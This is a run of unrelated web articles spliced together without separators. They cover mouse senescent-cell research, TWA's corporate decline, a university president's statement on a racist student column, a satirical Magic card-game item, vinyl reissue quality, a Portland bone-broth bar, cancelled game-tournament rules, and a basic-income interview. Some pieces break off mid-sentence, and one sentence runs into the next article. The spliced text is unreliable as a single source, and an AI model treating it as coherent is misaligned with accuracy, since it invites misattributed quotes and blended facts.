And tune in Monday when we reveal just how far Liliana has pushed Garruk in Magic 2015...They are lurking in your heart, your liver, your kidneys, and maybe even your brain: run-down cells that could be making you age. A new study of mice shows that spurring these so-called senescent cells to self-destruct extends the animals’ lives and delays some aspects of aging.
“It’s a landmark paper,” says cell and molecular biologist Francis Rodier of the University of Montreal in Canada, who wasn’t connected to the study. “It’s providing biological evidence that senescence is involved in the aging process.”
Cells senesce after suffering DNA damage or other types of stress. Although they remain alive, senescent cells lose the ability to divide. Researchers think that this cellular birth control evolved to thwart the formation of tumors, but it provides other benefits as well. The stagnant cells release chemicals that help wounds heal, for instance. But senescence also causes harm. If stem cells stop dividing, organs can deteriorate because they can’t replace cells that have died. Furthermore, the chemicals released by senescent cells can damage surrounding tissues and, to researchers’ surprise, promote tumor growth.
Our bodies build up senescent cells as we get older, and researchers have been trying to nail down their impact on aging for more than 50 years. Cancer biologist Jan van Deursen of the Mayo Clinic College of Medicine in Rochester, Minnesota, and colleagues took a direct approach to the problem, genetically engineering a strain of fast-aging mice so that their senescent cells committed suicide in response to a drug. In 2011, the researchers revealed that pruning senescent cells from the mice slowed their physical breakdown as they got older—although it didn’t extend their lives.
To find out if the approach worked in rodents other than the fast-aging mice, van Deursen and colleagues genetically modified two other mouse strains to kill their own senescent cells after receiving the same drug. When the rodents reached middle age, the researchers began injecting them with the compound twice a week. Although the procedure couldn’t eliminate senescent cells from the animals, it could kill 50% to 70% of them in some tissues, van Deursen says.
After undergoing the treatment for 6 months, the mice were healthier in many ways than a set of control animals. As the scientists report online today in Nature, pruning senescent cells reduced the amount of damage to the blood-filtering structures in the kidneys. The animals’ hearts were better able to cope with stress than were the hearts of control mice. Even the behaviors of the treated mice were different. They were more daring and youthful than the control mice. Like middle-aged folks who’d rather watch TV than hit the clubs, the controls were less active and more reluctant to explore new environments.
But the finding that grabbed the researchers’ attention was that destroying senescent cells boosted the average life span of the two mouse strains by more than 20%. Some of the increased longevity may have stemmed from a beneficial effect on cancer. Removal of senescent cells didn’t prevent tumors from forming in the rodents, but it did slow their growth. “It had more of an impact on life span than I would have predicted,” van Deursen says.
Not all age-related problems in the mice improved, however. Their memory, muscle strength, coordination, and balance—all of which decline as we grow older—were no better than those of control rodents. Deleting senescent cells doesn’t spare the animals from aging entirely, van Deursen says. “It has an attenuating effect. You still get age-dependent [changes], and the mice still die.”
“This study is a big step toward validating the approach of targeting senescent cells,” says cell biologist Christian Sell of Drexel University College of Medicine in Philadelphia, Pennsylvania, who wasn’t connected to the research.
Scientists have identified other approaches that slow aging in experimental animals, such as deleting certain genes or drastically cutting calories, notes geneticist Ned Sharpless of the University of North Carolina School of Medicine in Chapel Hill. However, says Sharpless, who wasn’t connected to the research but did help found a company that makes a diagnostic test for senescent cells, these approaches are impractical for humans. For example, some would require a person to take a drug for decades to see only a small effect, he says. But deleting senescent cells could be feasible in people, he says. For the first time, a researcher can say, “if I can figure out a way to kill senescent cells with a small molecule or an antibody, I could do a clinical trial.”
In fact, clinical trials might not be that far off. The mice in the study were genetically altered to respond to the drug, but a company that van Deursen co-founded and a separate group of researchers have already discovered compounds that can kill senescent cells in unmodified mice. It might soon be possible to test whether removing these cells can forestall age-related diseases, such as atherosclerosis, that cause so much suffering as we get older, van Deursen says. “We accumulate senescent cells, and they take away healthy years.”They were all friends until the Charlottesville protest happened on the weekend. Then the so-called “alt-right” bared its fangs, running afoul of Canada’s more euphemistic brand of racism.
On display in Miami Beach by the Jewish Museum of Florida-FIU: The installation of a KKK King Kleagle robe and hat (circa 1940s). A Kleagle is an officer of the Klan whose main function is recruiting new members. ( Jewish Museum of Florida-FIU )
The rally to Unite the Right ended up fracturing it instead — at least in Canada. Exhibit A is the exodus at The Rebel news site, the Canadian Tiki torch bearers of the far right, whose contributors celebrate the deaths of desperate migrants at |
profitable.
Profit was his goal, all right, but not TWA’s. “He told employees TWA needed to grow to be competitive,” says Jeff Darnall, who flew for the airline from 1989 until he was furloughed in 2003. “We took him at his word. It was an opportunity to be with an airline that was poised for growth.”
Icahn did help the airline grow, most notably by acquiring Ozark Airlines in 1986, an act that cemented TWA’s dominance at its St. Louis hub.
But soon enough, the party was over. “It became more and more apparent that Carl was not interested in growing the airline but in using TWA as a financial vehicle to acquire wealth for himself,” Darnall says.
In 1988, Icahn took what many consider the first step toward the airline’s demise: He took TWA private. Icahn received $469 million in the deal, and TWA got something a little less attractive: $540 million in debt.
That was just one manifestation of Icahn’s short-term–gain thinking. “Icahn wanted it to be a low-cost, low-fare airline,” says Casey. “He loved one ad that we ran—‘The World is a Bargain When You Know Where to Shop.’ I said, ‘You know, Carl, TWA can be a bargain if TWA stands for something, but if the only thing TWA stands for is a bargain, it’s not a bargain. He said, ‘I believe you, but when I run the ad, the phones ring.’”
In 1989, Icahn made another revealing move. According to Darnall, employees were anticipating an order for 100 or more airplanes to replenish TWA’s aging fleet. When the order was announced, it was for 12. “That was an indication to me that we had been hoodwinked,” Darnall says.
In 1991, Icahn did something that still causes twinges of pain for those who were there when it happened. He sold TWA’s prized London routes to American Airlines for $445 million.
“Selling the London routes was a killer,” says Gratz. “They were valuable as hell. The other things he did—trying to implement draconian procedures for everything, having people watch people—it’s all a hill of beans compared to losing those routes.”
In 1992, TWA filed for bankruptcy, emerging in 1993 with its creditors owning 55 percent of the company. One of those creditors, to the tune of $190 million, was Icahn. He resigned as chairman in 1993, and by 1995 he was growing impatient to be repaid. TWA executives, desperate to bring the tragic Icahn chapter to a close, gave away the farm, the cows and the farmer’s wife. They came up with a deal called the Karabu ticket agreement, an eight-year arrangement that allowed Icahn to buy any ticket that connected through St. Louis (but not those that originated or ended here, so St. Louisans never had access to the cheap tickets) for 55 cents on the dollar and resell them at a discount.
Karabu blocked Icahn from selling the tickets through travel agents, but it didn’t even mention the embryonic Internet, where he immediately set up Lowestfare.com and commenced to bleed TWA dry, one ticket at a time. “He put downward pressure on the amount TWA could sell tickets for because we were essentially competing with ourselves,” Gratz says.
American Airlines later estimated that Karabu cost TWA $100 million a year, but as bad as Karabu turned out to be for TWA, and as fervently as its constructors may have later wished they had closed the Internet loophole, TWA didn’t have many options at the time.
“There was no $190 million. There was nowhere to get $190 million. TWA had two choices: accept the agreement or shut down,” says Mark Abels, who was vice president of corporate communications from 1996 to 2001.
“They said, ‘OK, you mangy pirate, we’ll do the deal.’ If the airline didn’t do the Karabu deal, it would have gone out of existence in 1995 rather than 2001.”
TWA didn’t go out of business in 1995, but it did go into bankruptcy—again.
It emerged a couple months later, beaten down and limping behind the other major carriers but starting to perhaps not see but at least imagine clear skies ahead.
“We called it the 70-year-old startup,” says Dave Pelter, who was TWA’s director of revenue analysis at the time. “The carrier had just turned in a profitable quarter; things were looking up. There was an immense amount of potential.”
On July 17, 1996, a Paris-bound TWA plane exploded off Long Island, killing all 230 passengers.
TWA was shattered by the tragedy of Flight 800, but it picked itself up and tried, once again, to turn things around.
Long one of the worst performers in on-time arrivals, TWA surged to the front of the pack. It ordered hundreds of new planes, touting its renewed fleet with an ad campaign that boasted “a new plane every 10 days.”
“If we could outlast Carl Icahn, I really felt that we would have been in good shape from then on,” says Jeffrey Struyk, a pilot with TWA from 1998 until his furlough in 2002. “We’d done a lot to improve our operations. There was a real sense of optimism.”
Given that optimism, it’s not surprising that some of the unionized employees decided that it was time to recoup the money they had lost. A series of givebacks had started in the 1980s, all concessions the airline had insisted it must have to survive. TWA had survived; now it was time to pony up.
“TWA ended up with a contract for the pilots which was more than we had hoped for,” says Jack Stelzer, who was with the airline from the late ’60s to the mid-’70s and rejoined the carrier in 1997 as vice president of planning. “The mechanics, unfortunately, continued to live in a hypothetical universe where TWA was the largest airline in the world. They thought it was necessary for TWA to increase operations in JFK and to have large maintenance bases in Kansas City and JFK. Both of those things were very problematic.” Problematic or not, the mechanics, represented by the International Association of Machinists and Aerospace Workers, got what they wanted by threatening a work stoppage.
“We might have caved too quickly,” concedes Stelzer. “We were concerned that if we held out, the final settlement would have ended up raising our costs significantly more than we originally planned. We had the fear that every airline has: When you have a strike, you have no revenue, and TWA at the time was not in a position to be able to fly through that.”
“To threaten a strike, I thought that was pretty inappropriate,” says Struyk. “They seemed to be asking for a lot, and a strike would have shut us down. I wasn’t too happy that they were playing hardball at a time like that.”
The IAM contract would come back to haunt TWA. Those maintenance facil-ities in Kansas City and JFK, where the planes underwent “heavy checks” every five to six years, were siphoning money from TWA’s bottom line, and there was nothing the airline could do about it.
“The unions were insistent that they remain open,” says Abels. “Down the line, the Kansas City operation was more than big enough to serve the whole fleet. Even that might have been extraneous, because in order to be profitable, you farm out your heavy checks. Southwest, for example, has never done a heavy check. Maintenance at those facilities was pretty much stopped, but we couldn’t close them.”
Another problem was TWA’s international operations. Stripped of its lucrative London slots, TWA had become a weak presence in Europe, but it had a payroll of European workers that predated deregulation. Before the advent of computerized reservation systems, airlines required a lot of manpower to process each flight. “And once you hire somebody in Europe, they’re hired for life,” says Stelzer. “It’s a cradle-to-grave employment situation. We had more employees in Milan than in places where we had 10 to 12 flights a day. We had to either pay them forever or try to buy them out, which meant wages and salaries for the next 25 years. That made it extremely difficult to be competitive with the Continentals and Deltas and Americans that were coming in, outsourcing labor.”
All of this added up to a sorrowful reality: TWA was not going to make it.
“We had cleaned up a lot of the historical challenges and were on a path toward renewal,” says Pelter. “It just wasn’t enough.”
In January 2001, time ran out. CEO Bill Compton held a press conference to announce TWA’s third and final bankruptcy and a purchase offer from American Airlines.
Depending on whom you ask, the American purchase was either inevitable or borderline criminal. Compton, the pilot-turned-executive who orchestrated the sale and claimed it was TWA’s only option, is described variously as a good-hearted savior, a bumbling naïf and a turncoat who sold out the employees for personal profit.
“We were actually making progress, good progress,” says Darnall. “Our costs were among the lowest in the industry. The only thing that was keeping us from showing profit was Carl Icahn’s ticket agreement, and that was scheduled to expire in September 2003. We were very close to getting out from under that burden. We all knew that the winter of 2000 was going to be a difficult time. Winters were difficult times for all airlines. Our cash position was not flush, but we were convinced that TWA was going to make it without too much difficulty.”
“I was pretty surprised by the bankruptcy announcement,” says Struyk. “When the press release came out, it made it sound a lot more bleak than I thought it was.”
Given that reaction, it’s a pretty safe bet that Compton isn’t spending his days hanging out with his old TWA flying buddies, who sum up their feeling about his role in the sale with one word: betrayal.
One pilot speculates that Compton’s motives in setting up the sale were more personal than professional, “a defensive move so that he was not replaced as CEO.”
“I think nothing could be further from the truth,” Pelter says. “You don’t take a job like that because of a golden parachute. I think Bill, at the bottom of his heart, thought he was making the best decision he could to save jobs.”
“Bill Compton did every-thing he possibly could,” agrees airline analyst Michael Boyd. “Despite his union background, he was one of the most competent CEOs in the business. It had just gone too far.”
Or maybe he just didn’t know what he was doing. “If he did have TWA’s best interests at heart, he’d have to be naïve in the extreme to turn over a company like TWA to the likes of American Airlines, a company that has a reputation for being bloodthirsty when it comes to acquisitions,” says Darnall.
“As a guy who was on the scene,” counters Casey, “I can tell you that Bill Compton was not naïve. This was a guy who was used to doing a little horse trading as the head of the pilots’ union.”
The employees have their suspicions, but analysts and former executives say that Compton’s representation of the situation was sad but true. “TWA was dead meat,” says Ray Neidl, an analyst with Calyon Securities. “They didn’t have the market size, they didn’t have the fleet, they didn’t have the cost structure. Mainly they just didn’t have market mass. They were becoming a nonentity in a market that was dominated by low-cost carriers and giants. TWA was out of options.”
“By March of 2000, the tech stocks and dot-com market had started to implode,” says Stelzer. “Trillions of dollars were taken out of the stock market. Also, interest rates had started to go up, and fuel prices started to edge up a little bit. Demand was declining because the people who had been flying in the late ’90s weren’t flying anymore. It got worse and worse into 2001.”
“Painful as it was and is, the sale at least saved the core of the operation,” says Cosley. “It was the only option. The other airlines had their own problems; they didn’t want to buy into TWA’s.”
In fact, in February 2001 Compton testified before the Senate Commerce Committee, saying that he had approached every major airline in the United States. “No one was interested in TWA as a going concern,” he said. “Most recognized that they would benefit from TWA’s demise and decided they would sit back and let it happen.”
And it would have happened—soon. “The cash position was such that had American not stepped up to the deal on the day that they did, on the next day we would have shut down the airline,” says Abels.
As American was preparing to take over TWA, another potential buyer emerged: Carl Icahn. That was all it took. As had happened 16 years earlier, when the fear of Frank Lorenzo drove TWA’s employees into the arms of an arguably deadlier foe, the specter of Icahn, who made a $1.1-billion offer and said he would keep the airline independent while demanding labor concessions and making job cuts, made the American offer seem aglow with promise.
The bankruptcy judge dismissed Icahn’s offer as a joke, but even if it had been seriously considered, he had earned such a bitter reputation with TWA’s rank and file that they would have willingly marched off the American Airlines plank anyway.
Under American, everything sounded good—at first. The workforces were integrated in a way that put TWA employees at a disadvantage, but at least they were working. American promised to keep St. Louis as a hub and even expand its operations here.
“It looked like American had seen some value in the company,” says Struyk, “and it looked like we had something to contribute.”
Then came 9/11, and the promise of the American purchase lay in ruins along with the innocence of a nation.
“On 9/11, I knew it was over,” says Struyk.
In October 2001, American began making job cuts. Some employees were laid off; some were furloughed (removed from active status indefinitely).
The next casualty was the St. Louis hub. In November 2003, American resized the hub “to reflect size of St. Louis marketplace,” says American spokeswoman Mary Frances Fagan. American eliminated about 200 flights and restructured the remaining ones so that about 70 percent of travelers were originating in St. Louis, with 30 percent connecting, mostly from short- range destinations.
It wasn’t a popular decision, but it was a logical one. “Connecting flights don’t make you much money,” says Abels. “We had about a 70-30 mix of connecting to local traffic. You need 50-50 to make a hub operation work.”
In fact, the move made so much sense that it caused some to wonder whether a downsizing at St. Louis had been the plan all along.
“They blamed most of what they did on September 11. It was a convenient excuse for a lot of things that had nothing to with September 11,” says Gwendolyn Miller, a furloughed flight attendant who was with TWA for 25 years. (Paranoia? Perhaps, but American CEO Don Carty lent credence to the idea when he resigned in 2003, after approving bonuses for senior officials while simultaneously downsizing the St. Louis hub and urging employees to help the airline stave off bankruptcy with huge concessions.)
St. Louis had always been a problem for TWA. “In St. Louis we had a hub that was simply not viable from a profitability standpoint,” says Abels. “I say that as a native St. Louisan who loves St. Louis, who has chosen to live out my life and die in St. Louis. But St. Louis is not big enough to maintain a hub like Chicago or Dallas. It doesn’t have nearly enough traffic.”
“Under the original plan, it would have been a great secondary connecting point for American,” says Boyd. “American would have been the strongest carrier in the U.S. But I’ve read some of the old St. Louis materials saying, ‘You’ll always be a hub.’ No, you won’t. American is slowly eliminating it as a hub. It has maybe a couple years left.”
Given TWA’s strange history, the what-if game is too tempting to avoid, especially the biggest hypothetical of all: If TWA had not been purchased by American, would it have survived 9/11?
“If it weren’t for American, we would still be flying the TWA colors,” maintains Darnall.
“I don’t think there were three people in the world who would have given TWA a chance after Flight 800,” says Casey. “Four years later, we were a better airline in every way in terms of our aircraft, service and financial position. If we made it for those four years when no one gave us a chance, maybe we could have made it after 9/11.”
After all, says Abels, “TWA should have failed in the Hughes era; in the ’60s, when it became a conglomerate and spun off the airline into a cash-poor nothing; in the Icahn era... It was the airline that wouldn’t die.”
But then there are the realists. “If TWA had managed to stay in business through the summer of 2001—it would have been difficult, but it could have—it would not have had enough cash to make it through September 11,” says Stelzer.
So what killed TWA? It wasn’t one thing but a collection of problems, some shared by the rest of the industry, some part of the outlandish panoply that was TWA: Hughes’ meddling, Icahn’s greed, the hellish actions of a cadre of terrorists. A militant union, the collapse of the economy, the price of fuel, tardy attention to the necessity of alliances.
Given the chance to go back and rectify the mistakes, each TWA loyalist has a different plan.
“American challenged the Karabu deal in court and won,” Pelter says. “TWA could have tried to get it invalidated. There were some penalties; to challenge it was really rolling the dice, but that’s what I would do.”
“Somebody suggested to me that, at the very beginning, the airline industry should have made the pilots part of management instead of organized labor that could stop the airline from flying,” says Casey. “It would have been a very different industry and a very different airline.”
Stelzer rattles off his own detailed plan: “We could have gone into bankruptcy, cut operations at St. Louis in half, shut down JFK transatlantic, let go of over half the workforce, taken the capacity that had been flying in St. Louis and moved it to other cities, created focus cities like San Juan throughout the U.S. and effectively had small hubs through which we could flow some percentage of our airplanes. If we had done all that, we would still be flying today.”
Gratz isn’t sure. “TWA was really handicapped and had to be creative in many, many ways,” he says. “I really didn’t think they’d last as long as they did.”After what has been described as a racist opinion column was published in the "University Star," Texas State University's student publication, the school's president has spoken out against it, saying it is contrary to the university's core values.
The column, titled, "Your DNA is an Abomination," was published in the Nov. 28 issue of the "University Star." The following day, after the column "received widespread criticism from readers, with many expressing that they find the author's ideas to be racist," the publication issued an "Editor's Note." The editor said the opinion pages are a forum for students to express and debate ideas and that the paper does not endorse every opinion put forth by student columnists or guest contributors.
Denise M. Trauth, the university's president, released the following statement:
I am deeply troubled by the racist opinion column that was published in the November 28, 2017, issue of the University Star titled “Your DNA is an abomination.” The column’s central theme was abhorrent and is contrary to the core values of inclusion and unity that our Bobcat students, faculty, and staff hold dear. As president of a university that celebrates its inclusive culture, I detest racism in any manifestation.
While I appreciate that the Star is a forum for students to freely express their opinions, I expect student editors to exercise good judgment in determining the content that they print. The Star’s editors have apologized for the column and are examining their editorial process.Melbourne, VIC – Customers at a Game Store were shocked this Friday, when local Magic player Henry Cross purchased a single booster pack and proceeded to open it only seconds after the transaction was completed.
Cross, who reportedly has been playing the game for many years, appeared to have purchased the booster pack with full intent to open it immediately. ‘I’m playing standard this season and I’m really chasing a Jace, Vyrn’s Prodigy.’ Cross told reporters.
‘I did open a foil land which is pretty cool,’ Cross went on. ‘But the rare I got is probably only good in draft. I might add it to my Commander deck, but I’d have to find a card to cut.’
‘It was strange,’ said Store-Owner Randy Flier of the incident. ‘One moment he was asking me for a booster of Magic: Origins, presumably to finish a draft set or to play MiniMasters, and the next he is just standing there, tearing open the packaging and flicking through the cards. I’ve never seen anything like it.’
Cross stated that while he was happy with his foil land, most of the commons he opened ‘didn’t appear to be very good’ and the uncommons were ‘not Standard playable’ which was ‘a real shame.’
‘I don’t get it. He’s usually a really normal guy.’ Said Chase Winters, local MPTC and friend to Cross. ‘I mean, between you and me I heard he was kinda on the rocks with his girlfriend. Maybe this is his way of dealing with loss? I dunno.’
At press time, Cross was thumbing at his moustache and looking over the leftover Born of the Gods Fat Packs. ‘I need a new box for my spare draft commons – and having the extra land couldn’t hurt.’
CommentsBy Dave Thompson
We’re thrilled labels are bringing vinyl back, and we’re even happy to pay a premium. But flimsy cardboard covers and brand-new records filled with scratches and scuffs isn’t what we had in mind.
First, thanks to everyone who took the time out to respond to our previous questions regarding your own expectations and conclusions from recent vinyl re-releases. Asked whether a new vinyl reissue should be pressed from its original analogue masters or if the manufacturer should instead employ the best-quality-possible digital remaster, customers were adamant that only the original — or as close as possible — analogue tapes should be employed. Retailers, on the other hand, noted that the more modern bells and whistles attached to a disc, the better its chance of selling to the general public, as opposed to committed vinyl fans. Despite my gloomy assertions last issue, the magic words “digitally remastered” still have considerable cachet.
We saw the same split with the second question: Collectors want the original album to be as close as possible (i.e., identical) to its original release; retailers, and presumably the aforementioned “average” buyers, too, want the CD bonus tracks, as well. And that one, at least, is readily dealt with. It has, in fact, been common ever since Rykodisc remastered the David Bowie catalog back in the early 1990s: the original album on one disc, the bonuses on another. Easy. Of course, that’s so long as they, too, are mastered from the original tapes.
But the biggest responses came to the third question: Whether 180-gram/heavyweight vinyl actually makes a difference to an album’s sound and pressing quality, or if it’s just another gimmick, sort of the 21st century equivalent to the colored vinyl and picture disc mania of the late 1970s and 1980s.
Rob Coyle, of Coyle’s Odds and Ends Collectibles in Shelbyville, Ind., is one reader — and retailer — who firmly answers “no” to the first half of that question.
“We cringe every time someone opens certain records in the store. I have seen VG pressings come out of a brand new Adele ‘21’ LP,” Coyle said. “Mumford and Sons was not any better. These pressings are blatantly mishandled during manufacturing. We have seen multiple fingernail scratches, scuffs that run along all tracks — you name it, I have seen it. Being a big collector of ’60s to ’90s records, I buy a lot of sealed original records from conventions where I set up. I have never opened a sealed [vintage] record that looked as bad as these new pressings do.”
I have to concur. Exhibit A: Fat Possum’s 2011 release of T Rex’s “Zinc Alloy and the Hidden Riders of Tomorrow” that skipped first time out of the shrink wrap. Exhibit B: Sony’s reissue of Lou Reed’s “Rock n Roll Animal” with a big, fat warp. Exhibit C: A copy of Van Der Graaf Generator’s “Pawn Hearts” from 4 Men With Beards that just didn’t have that “unplayed vinyl” sheen that is one of the (admittedly idiosyncratic) delights that we associate with collecting records.
Admittedly, I have other albums on the same labels that arrived problem free. But the point is, when you lay out your $20-plus for a brand new LP, that’s what you expect it to be, visually as much as actually. Anything less than that, and you may as well have bought it used, or sought out an original pressing. (We’ll set that topic aside for another column.)
But there is even more at issue here than the vinyl quality for today’s new vinyl buyers, Coyle says.
“The covers are the attraction. The younger demographic collects them like baseball cards,” he said. “These things are made of the flimsiest stock they can find. Unless you bought something from the guys at Music Matters at $50 a pop, or Neil Young’s ‘Psychedelic Pill’ at $80, you got a crap cover.”
He cites covers for three recent Rolling Stones vinyl offerings — “Some Girls,” “Live In Texas ’78” and “Live at the Checkerboard Lounge” as especial disappointments.
“Seriously, a tri-fold cover that the minute you tear off the shrink and put the album on, the cover starts going into convulsions,” Coyle says.
Running to check my own copy of the Texas live album, I find he’s right. I have a battered vintage copy of “Got Live If You Want It” that holds its shape better.
All of this is very gloomy sounding, and, of course, it is always easier to complain about something than to praise it. Indeed, several readers pointed out that we should be grateful there’s even enough vinyl on the market today to sustain a regular column in a national magazine, while others suggested that part of the fun comes from learning which labels to avoid, which to pursue and which to watch with hopeful anticipation.
“Many of the smaller labels are learning as they go,” wrote one reader, “relying on collector feedback to make the necessary adjustments.”
Another reminded us that if the digital remastering is done sensitively and well, it can sound as good as the original vinyl. A re-pressing of the Rezillos’ debut is a case in point.
And in those increasingly common cases where the original vinyl is itself so scarce that few of us have even seen it, let alone heard it, or the original masters disappeared long ago, or the only cost and time-effective way of reissuing the thing would be via the magic of computerization … well, what choice is there?
An example. Sleaze formed back in 1975, five teenagers from England’s most southwestern extremity linking in a band whose influences ranged from the glam of Cockney Rebel and the Doctors of Madness, to the prog of Genesis and Peter Hammill, and on to the psychedelia of Hendrix. Slam that combination together, and a truly remarkable sound emerged, one that toured around the immediate locale for a year or so, then bade farewell via a trip to a nearby studio to record five of their best songs. There were only five, because Sleaze did not go in for short, sharp, pop songs. Every track was an epic; every track extended all the players to the limits of their considerable abilities.
Fifty copies were pressed for distribution to the band’s fans and friends, and it is from one of that 50 — whose numbers have certainly been decimated by time and accident — that New York’s Sing Sing label has re-pressed “Sleaze” (www.singsingrecords.com).
A few changes have been wrought. The original release came in a plain white sleeve with a plain white label. The reissue retrieves some photos of the band (which, to be honest, are almost as scarce as the original vinyl) and adds liner notes by singer TV Smith. Yes, the same TV Smith who, two years later, was leading the Adverts to punk rock-shaped glory (and revising one of Sleaze’s songs, “Listen Don’t Think,” as the somewhat less extravagant “New Boys”); the same TV Smith who is now regarded among the U.K.’s most vibrant songwriters and workaholic live performers. In all, it sounds glorious.
“It was a transfer from the original vinyl,” Smith tells Goldmine, “and then some re-mastering … well, mastering actually, as I don’t think the original actually got mastered.”
So, not all digital remastering is bad. And not all new releases — as opposed to new re-releases — come out of the jacket with war wounds. Some, in fact, catapult you back however many years, to the days when buying new vinyl felt as natural as brushing your teeth.
“A Working Museum” is the latest album by Wreckless Eric and Amy Rigby, their third since first combining forces in 2006, but the first to be released (as Eric puts it) “full sized” on vinyl, as well as “miniaturized” on CD. (Southern Domestic, www.amyrigby.com/wrecklessericamyrigby.html).
Like Smith, Eric was a product of the punk era, and there’s an intriguing hypothesis here, that this is where the future of vinyl really lies: at either end of the musical rainbow that began with the advent of punk and reaches across the decades to its progenitors’ current activities. Or maybe it’s just coincidence that the two finest LPs I unwrapped this month happened to hail from the extremes of that arch. Either way, “A Working Museum” could not have been more aptly titled.
There are no marketing boasts on the sleeve, no virgin vinyl or heavyweight cardboard (although you do get a digital download link). Just a hunk of wax that looks like it used to look, tucked inside a sleeve that feels exactly as it used to feel. It’s a proper LP, in other words. And, of course, there are the 11 new songs that remind us of their makers’ individual pasts (Eric’s time with Stiff Records; Amy’s life as a Mod Housewife) and point to the fresh strengths that their partnership has proffered. Certainly they served up one of the best live shows I saw in all of 2012, and so marvelously memorable are the songs that, playing the LP for the first time the day after the gig, I instantly recognized every new song they’d played. Which, I hate to admit, happens a lot less than I’d like it to.
A prodigious writer, fierce music lover and longtime record collector, Dave Thompson is the author of Goldmine’s “Standard Catalog of American Records 1950-1990, 8th Edition” (Krause Publications, http://bit.ly/VjxpkF). Thompson recently completed “Goldmine’s Record Album Price Guide,” 7th Edition, which is due out in spring 2013 and is available to order at http://bit.ly/VjxpkF.It was only a matter of time. Portland will soon be home to Broth Bar—located on NE Sixth and Couch next door to Ristretto Roasters—showcasing bone broth from grass-fed and pasture-raised animals.
Packed with easily digestible minerals and gut-healing gelatin, bone broth has been a nutritional darling for years, slowly working its way from the fringes to full-on trend status alongside green smoothies, hot yoga, and organic apothecaries. Popularized by proponents of the paleo diet, ancestral health movements, and food-as-medicine folks, it's hard to open a magazine or scan a health blog without the buzzy broth popping up. Broth windows, food trucks, and cafés have been popping up in New York, Los Angeles, and Vancouver, BC. Several local restaurants have also jumped on the trend, including Noraneko, Lincoln, and JoLa Café—but Broth Bar will be the first Portland destination to focus first and foremost on the nutritional powerhouse.
What's more, the idea may capture the healthy food zeitgeist, but the bar is the brainchild of Portland's own bone broth pioneer, Tressa Yellig of Salt, Fire & Time, who brought retail bone broth to Portland in 2009. Long before broth became the "It Ingredient" of celebrity detoxes, Yellig was crafting healing, small-batch broths from pasture-raised, hormone-free bones sourced from local ranchers, and has earned a loyal following of fans who credit her products with restoring health during and after cancer treatments and other major health crises.
The small-but-mighty 800-square-foot Broth Bar will feature a rotating selection of bone broths—including chicken, beef, turkey, lamb, pork, and bison—with optional add-in "bundles" to turn a mug of broth into a meal, from seasonal kraut and kelp noodles to chickpea miso, grated turmeric, ginger, and soft boiled eggs. A self-serve condiment bar will take the customization even farther, with a dash of tamari, Hot Mama hot sauce, housemade seaweed gomasio, and a variety of salts.
In addition to the main event in a mug, the bright and cheery bar will offer four varieties of Salt, Fire & Time's kombucha on tap, grab-and-go "picnic-style" fare, and a micro-market stocking hard-to-find supplements, high-quality butter, artisan ingredients, and seasonal produce from local farms.
Broth Bar is set to open in late June, and Yellig—along with sister and business partner Katie Yellig—hopes to host small classes, tastings, cookbook signings, healing food pop-ups, and weekly hamburger nights (featuring Salt, Fire & Time's organ burgers and fermented condiments).
With the expansion, Yellig wants fans of the brand to have no doubt about the company's continued dedication to impeccable sourcing of bones, add-ins, and market products. "We want people to never doubt the quality of the ingredients," says Yellig. "We're not compromising about how we source, and that will never change." So grab a mug, get ready, and stay tuned for more details.
Broth Bar
115 NE Sixth, off of NE Couch!!!!CANCELED!!!
*Sadface*
The time is nearing to test your PVP combat skills, wit, and team building prowess in the first ever... DARK TOURNAMENT Brought to you by:
<Rude Dudes>/<Rude Boys> The time is nearing to test your PVP combat skills, wit, and team building prowess in the first ever...Brought to you by: /
Format: The Dark Tournament will match teams of 5 against each other in 1v1 battles with the first team reaching 3 victories taking the match. The winning team will advance to the next round and the losing team will go home. Fighters from each team may only compete in one battle per match.
Team Structure: Teams will consist of 5 players. Imperial and Republic blended teams are allowed. Each player must be unique within the group in his/her Advanced class (and its opposite faction mirror). I.E. two Shadows on a team will not be allowed. A Shadow and an Assassin on a team will not be allowed. A Shadow and a Sage is allowed. Teams may compete with less than 5 members, but the team will be disqualified from the match if the team fails to reach 3 wins once all team members have participated in a battle.
Team Match Rules: Each team will submit a fighter for the first 1v1 battle to the Match official after both teams have been announced for a match and have full knowledge of what team they are facing. After the first battle, the winning team is required to select and send out its next fighter first, with the losing team being required to select and send out its next fighter within 20 seconds of the winning team's next fighter being announced. Exceeding the time limit for submitting the next fighter will result in forfeiture of the 1v1 battle with the opposing team's announced fighter retaining eligibility for another 1v1 match. The order in which the two teams submit their fighters for the next battle will always be based on the outcome of the previous battle (excluding the opening battle and battles that are ended by forfeiture via rule violation. Fighter selection for the battle immediately after a forfeiture via rule violation will be decided by the outcome of the battle prior to the forfeit battle. If the first battle of the match ends in a forfeiture of any kind, the two teams will re-submit two new fighters to the official to replicate the conditions of the first battle).
1v1 Battle Rules: Consumables (grenades, adrenals, medpacs, on use relics) will not be allowed. Officials will be present watching buff bars and using any of these items will result in forfeiture of the current battle. Stimulants will be allowed as well as class buffs. Companions and the use of Heroic moment abilities will not be allowed. Vanish-Sap-Recouperating (see post #2 for details) |
another office for housing benefits, and so on. You get one benefit all rolled into one.
As to the question of whether we could immediately eliminate all of the other programs, I think we need to wait and see. I mean, if everyone in the United States gets basic income, TANF will go away very quickly, because TANF is much lower than the poverty threshold in most states.
I think the first step is to give everybody basic economic security. The second step will be to see what other forms of economic security or income supplementation people need. My guess is that most of the other programs would eventually fall away. The expectation is that not only can people use basic income to replace our more complicated and obstacle-ridden forms of income supplementation, but also that they can use it as a multiplier to earn more income.
If basic income could replace all other forms of social welfare and the cost of running them, is there a chance the government would end up paying no more than it already does?
When thinking about this question, I think it's important not to fall into the trap that when people on the left want to do anything with money it has to balance the budget, but when people on the right want to do anything with money we just do it because it's the right thing to do. Our war in Iraq, for example, was not paid for through an increase in taxes. It drove up deficits. That's why we have a larger debt now than we did before President George W. Bush came along.
My priority is this: Let's get basic income in there, figure out how much it's going to cost, see which programs are no longer necessary, and then raise taxes in order to fund it. We need to address our nation's growing inequality, and that doesn't happen through an invisible hand.
Is basic income something both Democrats and Republicans might agree on?
That's the interesting thing; it is.
Here's why: The left can agree because basic income provides economic security for all Americans. The right can get behind it because it's a form of economic security that doesn't interfere with market forces as much as other forms of social security, such as raising the minimum wage. Do you implement a lot of labor market regulations that require companies to pay employees a certain amount, or do you just give everybody a base of economic security and then let them negotiate their wages in the marketplace?
